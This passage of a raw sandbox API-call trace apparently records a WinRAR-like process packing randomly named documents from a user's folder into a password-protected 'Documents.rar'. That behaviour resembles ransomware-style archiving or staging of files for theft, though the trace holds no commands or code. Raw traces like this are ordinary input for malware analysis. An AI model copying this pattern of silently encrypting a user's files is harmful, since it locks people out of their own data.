wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x176)) [0068.769] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.769] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14410964765) returned 1 [0068.769] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x14f8e, lpOverlapped=0x0) returned 1 [0068.770] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b4fce, nNumberOfBytesToRead=0xeb072, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b4fce*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.770] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.770] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.770] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656e0 [0068.770] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65710 [0068.770] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65710, Size=0x48) returned 0x39db40 [0068.770] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.770] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65710 [0068.770] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65710, Size=0x48) returned 0x39daf0 [0068.770] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.770] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.770] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65710 [0068.770] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65740 [0068.770] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65740 | out: hHeap=0x2e0000) returned 1 [0068.770] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65710 | out: hHeap=0x2e0000) returned 1 [0068.770] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b656e0, Size=0x48) returned 0x39db40 [0068.770] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.770] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.770] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.772] GetTickCount () returned 0xa677a2 [0068.772] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14411240000) returned 1 [0068.772] GetTickCount () returned 0xa677a2 [0068.772] GetTickCount () returned 0xa677a2 [0068.772] GetTickCount () returned 0xa677a2 [0068.772] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.772] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.772] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.772] ResetEvent (hEvent=0x1a4) returned 1 [0068.772] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.774] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.774] ResetEvent (hEvent=0x1a4) returned 1 [0068.774] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.777] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.777] ResetEvent (hEvent=0x1a4) returned 1 [0068.777] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.779] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.779] GetTickCount () returned 0xa677a2 [0068.779] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14411972305) returned 1 [0068.779] GetTickCount () returned 0xa677a2 [0068.779] GetTickCount () returned 0xa677a2 [0068.779] GetTickCount () returned 0xa677a2 [0068.779] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.779] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.779] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.779] ResetEvent (hEvent=0x190) returned 1 [0068.779] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.780] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.780] ResetEvent (hEvent=0x190) returned 1 [0068.780] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.781] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.781] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 1 [0068.781] GetMessageW (in: lpMsg=0x1cd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd4e0) returned 1 [0068.781] GetFocus () returned 0x0 [0068.781] TranslateMessage (lpMsg=0x1cd4e0) returned 0 [0068.781] DispatchMessageW (lpMsg=0x1cd4e0) returned 0x0 [0068.781] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.781] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x356c15 [0068.781] SetFilePointer (in: hFile=0x198, lDistanceToMove=115, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x356c88 [0068.781] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.781] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.781] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.781] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.781] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x15080, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x15080, lpOverlapped=0x0) returned 1 [0068.783] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.783] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.783] SetFilePointer (in: hFile=0x198, lDistanceToMove=3501077, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x356c15 [0068.783] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x356c15 [0068.783] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656e0 [0068.783] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65710 [0068.783] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65710, Size=0x48) returned 0x39daf0 [0068.783] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.783] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65710 [0068.783] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65710, Size=0x48) returned 0x39db40 [0068.783] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.783] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.783] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65710 [0068.783] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65740 [0068.783] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65740 | out: hHeap=0x2e0000) returned 1 [0068.783] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65710 | out: hHeap=0x2e0000) returned 1 [0068.783] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b656e0, Size=0x48) returned 0x39daf0 [0068.783] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.783] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x73, lpOverlapped=0x0) returned 1 [0068.783] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b656e0 [0068.783] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x73) returned 0x3b4c390 [0068.783] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.783] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.783] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x36bd08 [0068.783] CloseHandle (hObject=0x1b0) returned 1 [0068.783] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.783] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.783] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.783] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.783] FindFirstFileW (in: lpFileName="XRS5ksD\\8quW\\geTVB4WtFHycydi mP.pptx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.783] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.783] CreateFileW (lpFileName="XRS5ksD\\8quW\\geTVB4WtFHycydi mP.pptx" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\8quw\\getvb4wtfhycydi mp.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.783] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.784] GetTickCount () returned 0xa677b1 [0068.784] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.784] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.784] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.784] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.784] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="DmJHZllsIDAO 6.csv") returned 18 [0068.784] SetWindowTextW (hWnd=0x10280, lpString="geTVB4WtFHycydi mP.pptx") returned 1 [0068.784] GetTickCount () returned 0xa677b1 [0068.784] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.784] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.784] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.784] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.784] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x185)) [0068.784] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.784] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14412483634) returned 1 [0068.784] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xa71c, lpOverlapped=0x0) returned 1 [0068.785] ReadFile (in: hFile=0x1b0, lpBuffer=0x36aa75c, nNumberOfBytesToRead=0xf58e4, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36aa75c*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.785] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.785] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.785] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65710 [0068.785] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65740 [0068.785] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65740, Size=0x48) returned 0x39db40 [0068.785] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.785] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65740 [0068.785] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65740, Size=0x48) returned 0x39daf0 [0068.785] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.785] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.785] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65740 [0068.785] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65770 [0068.785] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65770 | out: hHeap=0x2e0000) returned 1 [0068.785] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65740 | out: hHeap=0x2e0000) returned 1 [0068.785] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65710, Size=0x48) returned 0x39db40 [0068.785] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7b) returned 0x3a3910 [0068.785] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.785] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.788] GetTickCount () returned 0xa677b1 [0068.788] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14413102871) returned 1 [0068.791] GetTickCount () returned 0xa677b1 [0068.791] GetTickCount () returned 0xa677b1 [0068.791] GetTickCount () returned 0xa677b1 [0068.791] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.791] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.791] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.792] ResetEvent (hEvent=0x1a4) returned 1 [0068.792] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.794] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.794] ResetEvent (hEvent=0x1a4) returned 1 [0068.794] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.795] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.795] GetTickCount () returned 0xa677b1 [0068.795] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14413537196) returned 1 [0068.795] GetTickCount () returned 0xa677b1 [0068.795] GetTickCount () returned 0xa677b1 [0068.795] GetTickCount () returned 0xa677b1 [0068.795] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.795] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.795] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.795] ResetEvent (hEvent=0x190) returned 1 [0068.795] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.796] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.796] ResetEvent (hEvent=0x190) returned 1 [0068.796] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.796] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.796] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.796] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.796] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x36bd08 [0068.796] SetFilePointer (in: hFile=0x198, lDistanceToMove=120, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x36bd80 [0068.796] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.796] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.797] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.797] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.797] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xa780, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xa780, lpOverlapped=0x0) returned 1 [0068.797] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.797] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.797] SetFilePointer (in: hFile=0x198, lDistanceToMove=3587336, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x36bd08 [0068.797] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x36bd08 [0068.797] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65710 [0068.797] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65740 [0068.797] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65740, Size=0x48) returned 0x39daf0 [0068.797] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.797] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65740 [0068.797] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65740, Size=0x48) returned 0x39db40 [0068.797] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.797] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.798] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65740 [0068.798] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65770 [0068.798] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65770 | out: hHeap=0x2e0000) returned 1 [0068.798] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65740 | out: hHeap=0x2e0000) returned 1 [0068.798] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65710, Size=0x48) returned 0x39daf0 [0068.798] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7b) returned 0x3a3910 [0068.798] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x78, lpOverlapped=0x0) returned 1 [0068.798] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65710 [0068.798] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x78) returned 0x3b4c410 [0068.798] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.798] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.798] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x376500 [0068.798] CloseHandle (hObject=0x1b0) returned 1 [0068.798] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.798] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.798] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.798] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.798] FindFirstFileW (in: lpFileName="XRS5ksD\\8quW\\hoT7s0jqF34TpSdFkEG.ppt", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.798] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.798] CreateFileW (lpFileName="XRS5ksD\\8quW\\hoT7s0jqF34TpSdFkEG.ppt" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\8quw\\hot7s0jqf34tpsdfkeg.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.798] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.798] GetTickCount () returned 0xa677b1 [0068.798] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.798] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.798] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.798] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.798] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="geTVB4WtFHycydi mP.pptx") returned 23 [0068.799] SetWindowTextW (hWnd=0x10280, lpString="hoT7s0jqF34TpSdFkEG.ppt") returned 1 [0068.799] GetTickCount () returned 0xa677c1 [0068.799] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.799] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.799] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.799] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.799] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, 